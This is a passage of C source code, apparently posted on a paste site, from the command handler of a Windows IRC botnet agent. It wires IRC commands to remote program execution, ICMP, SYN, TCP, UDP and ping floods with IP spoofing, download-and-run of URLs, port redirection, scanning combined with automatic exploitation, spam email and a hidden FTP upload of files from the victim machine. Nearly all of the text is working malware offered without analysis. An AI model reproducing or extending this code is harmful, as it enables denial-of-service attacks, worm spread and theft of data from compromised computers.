  2046.                             if (!CreateProcess(NULL, y, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo))
  2047.                                 sprintf(sendbuf,"[EXEC]: Couldn't execute file.");
  2048.                             else
  2049.                                 sprintf(sendbuf,"[EXEC]: Commands: %s",y);
  2050.                         }
  2051.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2052.                     addlog(sendbuf);
  2053.  
  2054.                     return repeat;
  2055.                     }
  2056. #ifndef NO_FINDFILE
  2057.                 else if (strcmp("findfile", a[s]) == 0 || strcmp("ff", a[s]) == 0) {
  2058.                     FFIND ffind;
  2059.                     _snprintf(ffind.filename,sizeof(ffind.filename),a[s+1]);
  2060.                     if (x != NULL) {
  2061.                         char *y = strstr(x, a[s+2]);
  2062.                         if (y != NULL)
  2063.                             sprintf(ffind.dirname,y);
  2064.                         }
  2065.                     _snprintf(ffind.chan,sizeof(ffind.chan),a[2]);
  2066.                     ffind.sock = sock;
  2067.                     ffind.notice = notice;
  2068.                     ffind.silent = silent;
  2069.  
  2070.                     _snprintf(sendbuf, sizeof(sendbuf),"[FINDFILE]: Searching for file: %s in: %s.", ffind.filename, ffind.dirname);
  2071.                     ffind.threadnum = addthread(sendbuf, FIND_THREAD, NULL);
  2072.                     if (threads[ffind.threadnum].tHandle = CreateThread(NULL, 0, &FindFileThread, (LPVOID)&ffind, 0, &id)) {
  2073.                         while (ffind.gotinfo == FALSE)
  2074.                             Sleep(50);
  2075.                         } else
  2076.                             sprintf(sendbuf,"[FINDFILE]: Failed to start search thread, error: <%d>.", GetLastError());
  2077.                         addlog(sendbuf);
  2078.  
  2079.                         return 1;
  2080.                     }
  2081. #endif
  2082.                 else if (strcmp("rename", a[s]) == 0 || strcmp("mv", a[s]) == 0) {
  2083.                     if (MoveFile(a[s+1],a[s+2]))
  2084.                         _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Rename: '%s' to: '%s'.", a[s+1], a[s+2]);
  2085.                     else
  2086.                         _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:"));
  2087.  
  2088.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2089.                     addlog(sendbuf);
  2090.  
  2091.                     return 1;
  2092.                     }
  2093. #ifndef NO_ICMP
  2094.                 else if (strcmp("icmpflood", a[s]) == 0 || strcmp("icmp", a[s]) == 0) {
  2095.                     ICMPFLOOD icmpflood;
  2096.                     if ((icmpflood.time = atoi(a[s+2])) > 0) {
  2097.                         _snprintf(icmpflood.ip,sizeof(icmpflood.ip),a[s+1]);
  2098.                         icmpflood.spoof = ((parameters['r'])?(TRUE):(FALSE));
  2099.                         icmpflood.sock = sock;
  2100.                         _snprintf(icmpflood.chan,sizeof(icmpflood.chan),a[2]);
  2101.                         icmpflood.notice = notice;
  2102.                         icmpflood.silent = silent;
  2103.  
  2104.                         _snprintf(sendbuf,sizeof(sendbuf),"[ICMP]: Flooding: (%s) for %s seconds.", a[s+1], a[s+2]);
  2105.                         icmpflood.threadnum = addthread(sendbuf,ICMP_THREAD,NULL);
  2106.                         if (threads[icmpflood.threadnum].tHandle = CreateThread(NULL, 0, &ICMPFloodThread, (LPVOID)&icmpflood, 0, &id)) {
  2107.                             while(icmpflood.gotinfo == FALSE)
  2108.                                 Sleep(50);
  2109.                             } else
  2110.                                 sprintf(sendbuf,"[ICMP]: Failed to start flood thread, error: <%d>.", GetLastError());
  2111.                         } else
  2112.                             sprintf(sendbuf,"[ICMP]: Invalid flood time must be greater than 0.");
  2113.  
  2114.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2115.                         addlog(sendbuf);
  2116.  
  2117.                         return 1;
  2118.                     }
  2119. #endif
  2120.  
  2121.                 // commands requiring at least 3 parameters
  2122.                 else if (a[s+3] == NULL) return 1;
  2123.                 else if (strcmp("clone", a[s]) == 0 || strcmp("c", a[s]) == 0) {
  2124.                     IRC irc;
  2125.                     strncpy(irc.host,  a[s+1], sizeof(irc.host)-1);
  2126.                     irc.port = atoi(a[s+2]);
  2127.                     strncpy(irc.channel,  a[s+3], sizeof(irc.channel)-1);
  2128.                     if (a[s+4])
  2129.                         strncpy(irc.chanpass,  a[s+4], sizeof(irc.chanpass)-1);
  2130.                     irc.spy = 1;
  2131.  
  2132.                     sprintf(sendbuf, "[CLONES]: Created on %s:%d, in channel %s.", irc.host, irc.port, irc.channel);
  2133.                     irc.threadnum = addthread(sendbuf, CLONE_THREAD, NULL);
  2134.                     if (threads[irc.threadnum].tHandle = CreateThread(NULL, 0, &irc_connect, (LPVOID)&irc, 0, &id)) {
  2135.                         while(irc.gotinfo == FALSE)
  2136.                             Sleep(50);
  2137.                         } else
  2138.                             sprintf(sendbuf,"[CLONES]: Failed to start clone thread, error: <%d>.", GetLastError());
  2139.  
  2140.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2141.                         addlog(sendbuf);
  2142.  
  2143.                         return repeat;
  2144.                     }
  2145. #ifndef NO_DDOS
  2146.                 else if (strcmp("ddos.syn", a[s]) == 0 || strcmp("ddos.ack", a[s]) == 0 || strcmp("ddos.random", a[s]) == 0) {
  2147.                     DDOS ddos;
  2148.                     strncpy(ddos.ip, a[s+1], sizeof(ddos.ip)-1);
  2149.                     strncpy(ddos.port, a[s+2], sizeof(ddos.port)-1);
  2150.                     strncpy(ddos.length, a[s+3], sizeof(ddos.length)-1);
  2151.                     strncpy(ddos.chan, a[2], sizeof(ddos.chan)-1);
  2152.                     strncpy(ddos.type,a[s],32);
  2153.                     ddos.notice = notice;
  2154.                     ddos.silent = silent;
  2155.                     ddos.sock = sock;
  2156.  
  2157.                     sprintf(sendbuf, "[DDoS]: Flooding: (%s:%s) for %s seconds.", a[s+1], a[s+2], a[s+3]);
  2158.                     ddos.threadnum = addthread(sendbuf,DDOS_THREAD,NULL);
  2159.                     if (threads[ddos.threadnum].tHandle = CreateThread(NULL, 0, &DDOSThread, (LPVOID)&ddos, 0, &id)) {
  2160.                         while(ddos.gotinfo == FALSE)
  2161.                             Sleep(50);
  2162.                         } else
  2163.                             sprintf(sendbuf,"[DDoS]: Failed to start flood thread, error: <%d>.", GetLastError());
  2164.  
  2165.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2166.                         addlog(sendbuf);
  2167.  
  2168.                         return 1;
  2169.                     }
  2170. #endif
  2171. #ifndef NO_SYN
  2172.                 else if (strcmp("synflood", a[s]) == 0 || strcmp("syn", a[s]) == 0) {
  2173.                     SYNFLOOD synflood;
  2174.                     strncpy(synflood.ip, a[s+1], sizeof(synflood.ip)-1);
  2175.                     strncpy(synflood.port, a[s+2], sizeof(synflood.port)-1);
  2176.                     strncpy(synflood.length, a[s+3], sizeof(synflood.length)-1);
  2177.                     strncpy(synflood.chan, a[2], sizeof(synflood.chan)-1);
  2178.                     synflood.notice = notice;
  2179.                     synflood.silent = silent;
  2180.                     synflood.sock = sock;
  2181.  
  2182.                     sprintf(sendbuf, "[SYN]: Flooding: (%s:%s) for %s seconds.", a[s+1], a[s+2], a[s+3]);
  2183.                     synflood.threadnum = addthread(sendbuf,SYN_THREAD,NULL);
  2184.                     if (threads[synflood.threadnum].tHandle = CreateThread(NULL, 0, &SynFloodThread, (LPVOID)&synflood, 0, &id)) {
  2185.                         while(synflood.gotinfo == FALSE)
  2186.                             Sleep(50);
  2187.                         } else
  2188.                             sprintf(sendbuf,"[SYN]: Failed to start flood thread, error: <%d>.", GetLastError());
  2189.  
  2190.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2191.                         addlog(sendbuf);
  2192.  
  2193.                         return 1;
  2194.                     }
  2195. #endif
  2196. #ifndef NO_DOWNLOAD
  2197.                 else if (strcmp("download", a[s]) == 0 || strcmp("dl", a[s]) == 0) {
  2198.                     DOWNLOAD dl;
  2199.                     strncpy(dl.url, a[s+1], sizeof(dl.url)-1);
  2200.                     strncpy(dl.dest, a[s+2], sizeof(dl.dest)-1);
  2201.                     dl.update = 0;
  2202.                     dl.run = ((a[s+3])?(atoi(a[s+3])):(0));
  2203.                     dl.expectedcrc=((a[s+4])?(strtoul(a[s+4],0,16)):(0));
  2204.                     dl.filelen=((a[s+5])?(atoi(a[s+5])):(0));
  2205.                     dl.encrypted=(parameters['e']);
  2206.  
  2207.                     dl.sock = sock;
  2208.                     strncpy(dl.chan,  a[2], sizeof(dl.chan)-1);
  2209.                     dl.notice=notice;
  2210.                     dl.silent = silent;
  2211.  
  2212.                     sprintf(sendbuf, "[DOWNLOAD]: Downloading URL: %s to: %s.", a[s+1], a[s+2]);
  2213.                     dl.threadnum = addthread(sendbuf, DOWNLOAD_THREAD, sock);
  2214.                     if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) {
  2215.                         while(dl.gotinfo == FALSE)
  2216.                             Sleep(50);
  2217.                         } else
  2218.                             sprintf(sendbuf,"[DOWNLOAD]: Failed to start transfer thread, error: <%d>.", GetLastError());
  2219.  
  2220.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2221.                         addlog(sendbuf);
  2222.  
  2223.                         return 1;
  2224.                     }
  2225. #endif
  2226. #ifndef NO_REDIRECT
  2227.                 else if (strcmp("redirect", a[s]) == 0 || strcmp("rd", a[s]) == 0) {
  2228.                     REDIRECT redirect;
  2229.                     redirect.lport = atoi(a[s+1]);
  2230.                     strncpy(redirect.dest,  a[s+2], sizeof(redirect.dest)-1);
  2231.                     redirect.port = atoi(a[s+3]);
  2232.                     redirect.sock = sock;
  2233.                     _snprintf(redirect.chan,sizeof(redirect.chan),a[2]);
  2234.                     redirect.notice = notice;
  2235.                     redirect.silent = silent;
  2236.  
  2237.                     sprintf(sendbuf, "[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.", GetIP(sock), redirect.lport, redirect.dest, redirect.port);
  2238.                     redirect.threadnum = addthread(sendbuf,REDIRECT_THREAD,NULL);
  2239.                     if (threads[redirect.threadnum].tHandle = CreateThread(NULL, 0, &RedirectThread, (LPVOID)&redirect, 0, &id)) {
  2240.                         while(redirect.gotinfo == FALSE)
  2241.                             Sleep(50);
  2242.                         } else
  2243.                             sprintf(sendbuf,"[REDIRECT]: Failed to start redirection thread, error: <%d>.", GetLastError());
  2244.  
  2245.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2246.                         addlog(sendbuf);
  2247.  
  2248.                         return 1;
  2249.                     }
  2250. #endif
  2251. #ifndef NO_SCAN
  2252.                 else if (strcmp("scan", a[s]) == 0 || strcmp("sc", a[s]) == 0) {
  2253.                     SCAN scan;
  2254.                     scan.addy.S_un.S_addr = finet_addr(a[s+1]);
  2255.                     scan.port = atoi(a[s+2]);
  2256.                     scan.delay = atoi(a[s+3]);
  2257.                     scan.sock = sock;
  2258.                     strncpy(scan.chan,  a[2], sizeof(scan.chan)-1);
  2259.                     scan.notice = notice;
  2260.                     scan.silent = silent;
  2261.  
  2262.                     sprintf(sendbuf, "[SCAN]: Port scan started: %s:%d with delay: %d(ms).", finet_ntoa(scan.addy), scan.port, scan.delay);
  2263.                     scan.threadnum = addthread(sendbuf,SCAN_THREAD,NULL);
  2264.                     if (threads[scan.threadnum].tHandle = CreateThread(NULL, 0, &ScanThread, (LPVOID)&scan, 0, &id)) {
  2265.                         while(scan.gotinfo == FALSE)
  2266.                             Sleep(50);
  2267.                         } else
  2268.                             sprintf(sendbuf,"[SCAN]: Failed to start scan thread, error: <%d>.", GetLastError());
  2269.  
  2270.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2271.                         addlog(sendbuf);
  2272.  
  2273.                         return 1;
  2274.                     }
  2275. #endif
  2276.                 else if (strcmp("c_privmsg", a[s]) == 0 || strcmp("c_pm", a[s]) == 0) {
  2277.                     if (threads[atoi(a[s+1])].nick[0] != '\0' && x != NULL) {
  2278.                         x = x + strlen(a[s]) + strlen(a[s+1]) + strlen(a[s+2]) + 2;
  2279.                         char *y = strstr(x, a[s+3]);
  2280.                         if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  2281.                             irc_privmsg(threads[atoi(a[s+1])].sock, a[s+2], y, FALSE);
  2282.                             if (threads[atoi(a[s+1])].name[0] == 's') {
  2283.                                 sprintf(sendbuf, "[%s] <%s> %s", a[s+2], threads[atoi(a[s+1])].nick, y);
  2284.                                 irc_privmsg(sock, a[2], sendbuf, notice);
  2285.                                 }
  2286.                             }
  2287.                         }
  2288.  
  2289.                     return repeat;
  2290.                     }
  2291.                 else if (strcmp("c_action", a[s]) == 0 || strcmp("c_a", a[s]) == 0) {
  2292.                     if (threads[atoi(a[s+1])].nick[0] != '\0' && x != NULL) {
  2293.                         x = x + strlen(a[s]) + strlen(a[s+1]) + strlen(a[s+2]) + 2;
  2294.                         char *y = strstr(x, a[s+3]);
  2295.                         sprintf(sendbuf, "\1ACTION %s\1", y);
  2296.                         if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  2297.                             irc_privmsg(threads[atoi(a[s+1])].sock, a[s+2], sendbuf, FALSE);
  2298.                             if (threads[atoi(a[s+1])].name[0] == 's') {
  2299.                                 sprintf(sendbuf, "[%s] * %s %s", a[s+2], threads[atoi(a[s+1])].nick, y);
  2300.                                 irc_privmsg(sock, a[2], sendbuf, notice);
  2301.                                 }
  2302.                             }
  2303.                         }
  2304.  
  2305.                     return repeat;
  2306.                     }
  2307.  
  2308.                 // commands requiring at least 4 parameters
  2309.                 else if (a[s+4] == NULL) return 1;
  2310. #ifndef NO_ADVSCAN
  2311.                 else if (strcmp("advscan", a[s]) == 0 || strcmp("asc", a[s]) == 0) {
  2312.                     int scanthreads=findthreadid(SCAN_THREAD);
  2313.                     if (scanthreads + atoi(a[s+2]) > MAXSCANTHRD) {
  2314.                         sprintf(sendbuf ,"[SCAN]: Already %d scanning threads. Too many specified.", scanthreads);
  2315.                         irc_privmsg(sock,a[2],sendbuf,notice);
  2316.                         } else {
  2317.                             ADVSCAN advscan;
  2318.                             advscan.port = atoi(a[s+1]); // check for method or port number
  2319.                             advscan.threads = atoi(a[s+2]);
  2320.                             advscan.delay = atoi(a[s+3]);
  2321.                             advscan.delay = ((advscan.delay < 1)?(1):(advscan.delay));
  2322.                             advscan.delay = ((advscan.delay > 60)?(60):(advscan.delay));
  2323.                             advscan.minutes = atoi(a[s+4]);
  2324.                             advscan.minutes = ((advscan.minutes > MAXSCANTIME)?(MAXSCANTIME):(advscan.minutes));
  2325.                             advscan.exploit = -1;
  2326.  
  2327.                             for(i=0;exploit[i].port != 0;i++) {
  2328.                                 if (strcmp(exploit[i].command, a[s+1]) == 0) {
  2329.                                     advscan.port = exploit[i].port;
  2330.                                     advscan.exploit = i;
  2331.  
  2332.                                     break;
  2333.                                     }
  2334.                                 }
  2335.  
  2336.                             if (advscan.port == 0) {
  2337.                                 sprintf(sendbuf, "[SCAN]: Failed to start scan, port is invalid.");
  2338.                                 if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2339.                                 addlog(sendbuf);
  2340.  
  2341.                                 return 1;
  2342.                                 }
  2343.  
  2344.                             if (a[s+5] && a[s+5][0] != '#') {
  2345.                                 _snprintf(advscan.ip,sizeof(advscan.ip),a[s+5]);
  2346.                                 advscan.random = ((strchr(a[s+5],'x'))?(TRUE):(FALSE));
  2347.                                 } else {
  2348.                                     if (parameters['a'] || parameters['b'] || parameters['r']) {
  2349.                                         SOCKADDR_IN ssin;
  2350.                                         int ssin_len=sizeof(ssin);
  2351.                                         fgetsockname(sock,(LPSOCKADDR)&ssin,&ssin_len);
  2352.                                         ssin.sin_addr.S_un.S_addr&=(parameters['a']) ? 0xFF : 0xFFFF;
  2353.                                         strncpy(advscan.ip,finet_ntoa(ssin.sin_addr), sizeof(advscan.ip));
  2354.  
  2355.                                         if (parameters['r']) {
  2356.                                             int extractip = ((parameters['a']) ? 3 : 2);
  2357.                                             for (char *c=strrchr(advscan.ip,'0'),i=0;i<extractip && c;c[0]='x',c=strrchr(advscan.ip,'0'),i++);
  2358.  
  2359.                                             advscan.random = TRUE;
  2360.                                             } else
  2361.                                                 advscan.random = FALSE;
  2362.                                         } else {
  2363.                                             sprintf(sendbuf, "[SCAN]: Failed to start scan, no IP specified.");
  2364.                                             if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2365.                                             addlog(sendbuf);
  2366.  
  2367.                                             return 1;
  2368.                                         }
  2369.                                 }
  2370.  
  2371.                             advscan.sock = sock;
  2372.                             advscan.notice = notice;
  2373.                             advscan.silent = silent;
  2374.                             _snprintf(advscan.chan,sizeof(advscan.chan),a[2]);
  2375.                             if (a[s+6])
  2376.                                 _snprintf(advscan.msgchan,sizeof(advscan.msgchan),a[s+6]);
  2377.                             else if (a[s+5] && a[s+5][0] == '#')
  2378.                                 _snprintf(advscan.msgchan,sizeof(advscan.msgchan),a[s+5]);
  2379.                             else if (strcmp(exploitchan,"") != 0)
  2380.                                 _snprintf(advscan.msgchan,sizeof(advscan.msgchan),exploitchan);
  2381.                             else
  2382.                                 advscan.msgchan[0] = '\0';
  2383.  
  2384.                             sprintf(sendbuf, "[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.",
  2385.                                 ((advscan.random)?("Random"):("Sequential")), advscan.ip, advscan.port, advscan.delay, advscan.minutes, advscan.threads);
  2386.                             advscan.threadnum = addthread(sendbuf,SCAN_THREAD,NULL);
  2387.                             if (threads[advscan.threadnum].tHandle = CreateThread(NULL, 0, &AdvScanner, (LPVOID)&advscan, 0, &id)) {
  2388.                                 while(advscan.gotinfo == FALSE)
  2389.                                     Sleep(50);
  2390.                                 } else
  2391.                                     sprintf(sendbuf,"[SCAN]: Failed to start scan thread, error: <%d>.", GetLastError());
  2392.  
  2393.                                 if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2394.                                 addlog(sendbuf);
  2395.  
  2396.                                 return 1;
  2397.                         }
  2398.                     }
  2399. #endif
  2400. #ifndef NO_UDP
  2401.                 else if (strcmp("udpflood", a[s]) == 0 || strcmp("udp", a[s]) == 0 || strcmp("u", a[s]) == 0) {
  2402.                     PINGFLOOD udps;
  2403.                     udps.silent = silent;
  2404.                     udps.notice = notice;
  2405.                     strncpy(udps.host,  a[s+1], sizeof(udps.host)-1);
  2406.                     udps.num = atoi(a[s+2]);
  2407.                     udps.size = atoi(a[s+3]);
  2408.                     udps.delay = atoi(a[s+4]);
  2409.                     if (a[s+5] != NULL)
  2410.                         udps.port = atoi(a[s+5]);
  2411.                     else
  2412.                         udps.port = 0;
  2413.                     strncpy(udps.chan,  a[2], sizeof(udps.chan)-1);
  2414.                     udps.sock = sock;
  2415.  
  2416.                     sprintf(sendbuf, "[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).", udps.num, udps.host, udps.size, udps.delay);
  2417.                     udps.threadnum = addthread(sendbuf,UDP_THREAD,NULL);
  2418.                     if (threads[udps.threadnum].tHandle = CreateThread(NULL, 0, &udp, (LPVOID)&udps, 0, &id)) {
  2419.                         while(udps.gotinfo == FALSE)
  2420.                             Sleep(50);
  2421.                         } else
  2422.                             sprintf(sendbuf,"[UDP]: Failed to start flood thread, error: <%d>.", GetLastError());
  2423.  
  2424.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2425.                         addlog(sendbuf);
  2426.  
  2427.                         return 1;
  2428.                     }
  2429. #endif
  2430. #ifndef NO_PING
  2431.                 else if (strcmp("pingflood", a[s]) == 0 || strcmp("ping", a[s]) == 0 || strcmp("p", a[s]) == 0) {
  2432.                     if (!noicmp) {
  2433.                         PINGFLOOD pings;
  2434.                         pings.silent = silent;
  2435.                         pings.notice = notice;
  2436.                         strncpy(pings.host,  a[s+1], sizeof(pings.host)-1);
  2437.                         pings.num = atoi(a[s+2]);
  2438.                         pings.size = atoi(a[s+3]);
  2439.                         pings.delay = atoi(a[s+4]);
  2440.                         strncpy(pings.chan,  a[2], sizeof(pings.chan)-1);
  2441.                         pings.sock = sock;
  2442.  
  2443.                         sprintf(sendbuf, "[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).", pings.num, pings.host, pings.size, pings.delay);
  2444.                         pings.threadnum = addthread(sendbuf,PING_THREAD,NULL);
  2445.                         if (threads[pings.threadnum].tHandle = CreateThread(NULL, 0, &ping, (LPVOID)&pings, 0, &id)) {
  2446.                             while(pings.gotinfo == FALSE)
  2447.                                 Sleep(50);
  2448.                             } else
  2449.                                 sprintf(sendbuf,"[PING]: Failed to start flood thread, error: <%d>.", GetLastError());
  2450.                         } else
  2451.                             strncpy(sendbuf, "ICMP.dll not available", sizeof(sendbuf)-1);
  2452.  
  2453.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2454.                         addlog(sendbuf);
  2455.  
  2456.                         return 1;
  2457.                     }
  2458. #endif
  2459. #ifndef NO_TCP
  2460.                 else if (strcmp("tcpflood", a[s]) == 0 || strcmp("tcp", a[s]) == 0) {
  2461.                     TCPFLOOD tcpflood;
  2462.                     _snprintf(tcpflood.type,sizeof(tcpflood.type),a[s+1]);
  2463.                     if (strcmp("syn",tcpflood.type) == 0 || strcmp("ack",tcpflood.type) == 0 || strcmp("random",tcpflood.type) == 0) {
  2464.                         if ((tcpflood.time = atoi(a[s+4])) > 0) {
  2465.                             _snprintf(tcpflood.type,sizeof(tcpflood.type),a[s+1]);
  2466.                             _snprintf(tcpflood.ip,sizeof(tcpflood.ip),a[s+2]);
  2467.                             tcpflood.port = atoi(a[s+3]);
  2468.                             tcpflood.spoof = ((parameters['r'])?(TRUE):(FALSE));
  2469.                             tcpflood.sock = sock;
  2470.                             _snprintf(tcpflood.chan,sizeof(tcpflood.chan),a[2]);
  2471.                             tcpflood.notice = notice;
  2472.                             tcpflood.silent = silent;
  2473.  
  2474.                             _snprintf(sendbuf,sizeof(sendbuf),"[TCP]: %s %s flooding: (%s:%s) for %s seconds.", ((tcpflood.spoof)?("Spoofed"):("Normal")), a[s+1], a[s+2], a[s+3], a[s+4]);
  2475.                             tcpflood.threadnum = addthread(sendbuf,TCP_THREAD,NULL);
  2476.                             if (threads[tcpflood.threadnum].tHandle = CreateThread(NULL, 0, &TcpFloodThread, (LPVOID)&tcpflood, 0, &id)) {
  2477.                                 while(tcpflood.gotinfo == FALSE)
  2478.                                     Sleep(50);
  2479.                                 } else
  2480.                                     sprintf(sendbuf,"[TCP]: Failed to start flood thread, error: <%d>.", GetLastError());
  2481.                             } else
  2482.                                 sprintf(sendbuf,"[TCP]: Invalid flood time must be greater than 0.");
  2483.                         } else
  2484.                             sprintf(sendbuf,"[TCP]: Invalid flood type specified.");
  2485.  
  2486.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2487.                         addlog(sendbuf);
  2488.  
  2489.                         return 1;
  2490.                     }
  2491. #endif
  2492.                 else if (strcmp("email", a[s]) == 0 ) {
  2493.                     WORD version = MAKEWORD(1,1);
  2494.                     WSADATA wsaData;
  2495.                     char server[256], sender_email[256], recp_email[256], subject[256], myBuf[256], BigBuf[1024];
  2496.                     int port, nRet;
  2497.  
  2498.                     strcpy(server,a[s+1]);
  2499.                     port = atoi(a[s+2]);
  2500.                     strcpy(sender_email,a[s+3]);
  2501.                     strcpy(recp_email,a[s+4]);
  2502.                     strcpy(subject,replacestr(a[s+5],"_"," "));
  2503.                     fWSAStartup(version, &wsaData);
  2504.  
  2505.                     LPHOSTENT lpHostEntry;
  2506.                     lpHostEntry = fgethostbyname(server);
  2507.  
  2508.                     SOCKET MailSocket;
  2509.                     MailSocket = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  2510.  
  2511.                     SOCKADDR_IN saServer;
  2512.                     saServer.sin_family = AF_INET;
  2513.                     saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);
  2514.                     saServer.sin_port = fhtons((unsigned short)port);
  2515.                     sprintf(BigBuf,"helo $rndnick\nmail from: <%s>\nrcpt to: <%s>\ndata\nsubject: %s\nfrom: %s\n%s\n.\n",sender_email,recp_email,subject,sender_email,subject);
  2516.                     nRet = fconnect(MailSocket, (LPSOCKADDR)&saServer, sizeof(saServer));
  2517.                     nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0);
  2518.                     nRet = fsend(MailSocket,  BigBuf, strlen(myBuf), 0);
  2519.                     nRet = frecv(MailSocket, myBuf, sizeof(myBuf), 0);
  2520.                     fclosesocket(MailSocket);
  2521.                     fWSACleanup();
  2522.  
  2523.                     sprintf(sendbuf, "[EMAIL]: Message sent to %s.",recp_email);
  2524.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2525.                     addlog(sendbuf);
  2526.  
  2527.                     return repeat;
  2528.                     }
  2529. #ifndef NO_HTTP
  2530.                 else if (strcmp("httpcon",a[s]) == 0 || strcmp("hcon",a[s]) == 0) {
  2531.                     HTTP_Connect(sock,a[2],notice,silent,a[s+1],atoi(a[s+2]),a[s+3],a[s+4],a[s+5]);
  2532.  
  2533.                     return repeat;
  2534.                     }
  2535. #endif
  2536.  
  2537.                 // commands requiring at least 5 parameters
  2538.                 else if (a[s+5] == NULL) return 1;
  2539.                 else if (strcmp("upload",a[s]) == 0) {
  2540.                     if (!FileExists(a[s+5])) {
  2541.                         sprintf(sendbuf,"[FTP]: File not found: %s.", a[s+5]);
  2542.                         if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  2543.                         addlog(sendbuf);
  2544.                         return 1;
  2545.                         }
  2546.                     char tmpftp[MAX_PATH],tmpsys[MAX_PATH];
  2547.  
  2548.                     srand(GetTickCount());
  2549.                     sprintf(tmpftp,"%s\\%i%i%i.dll",tmpsys,rand()%999,rand()%99,rand()%9);
  2550.  
  2551.                     FILE * fp = fopen(tmpftp,"ab");
  2552.                     if (fp != NULL) {
  2553.                         fprintf(fp, "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n",
  2554.                             a[s+1],a[s+2],a[s+3],a[s+4],a[s+5]);
  2555.                         fclose(fp);
  2556.  
  2557.                         char cmdline[256];
  2558.                         sprintf(cmdline,"-s:%s",tmpftp);
  2559.                         if (fShellExecute(0, "open", "ftp.exe", cmdline, NULL, SW_HIDE))
  2560.                             sprintf("[FTP]: Uploading file: %s to: %s",a[s+5],a[s+1]);
  2561.                         else
  2562.                             sprintf("[FTP]: Uploading file: %s to: %s failed.",a[s+5],a[s+1]);
  2563.  
  2564.                         if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  2565.                         addlog(sendbuf);
  2566.  
  2567.                         while (FileExists(tmpftp))
  2568.                             remove(tmpftp);
  2569.                         }
  2570.  
  2571.                     return 1;
  2572.                     }
  2573.                 }
  2574.         }
  2575.  
  2576.     return repeat;
  2577.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement